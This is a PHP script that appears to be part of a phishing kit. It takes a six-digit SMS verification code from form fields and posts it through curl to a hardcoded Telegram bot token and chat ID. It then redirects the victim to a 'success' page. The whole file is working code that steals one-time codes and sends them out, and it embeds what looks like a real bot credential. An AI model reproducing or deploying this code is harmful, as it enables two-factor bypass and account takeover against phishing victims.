<?php
session_start();

// Telegram Bot API details
$botToken = '6957742388:AAHhZ9eDdm8e1RiWZvg29Ex2xEpp6olwQ4g';
$chatId = '6827314465';

// Collect the submitted code
$code = $_POST['code1'] . $_POST['code2'] . $_POST['code3'] . $_POST['code4'] . $_POST['code5'] . $_POST['code6'];

// Send the entered code to Telegram
$message = "User entered SMS Code on resend_verification.php: $code";
$url = "https://api.telegram.org/bot$botToken/sendMessage";
$postData = [
    'chat_id' => $chatId,
    'text' => $message,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Redirect to success.php
header("Location: success.php");
exit;
?>
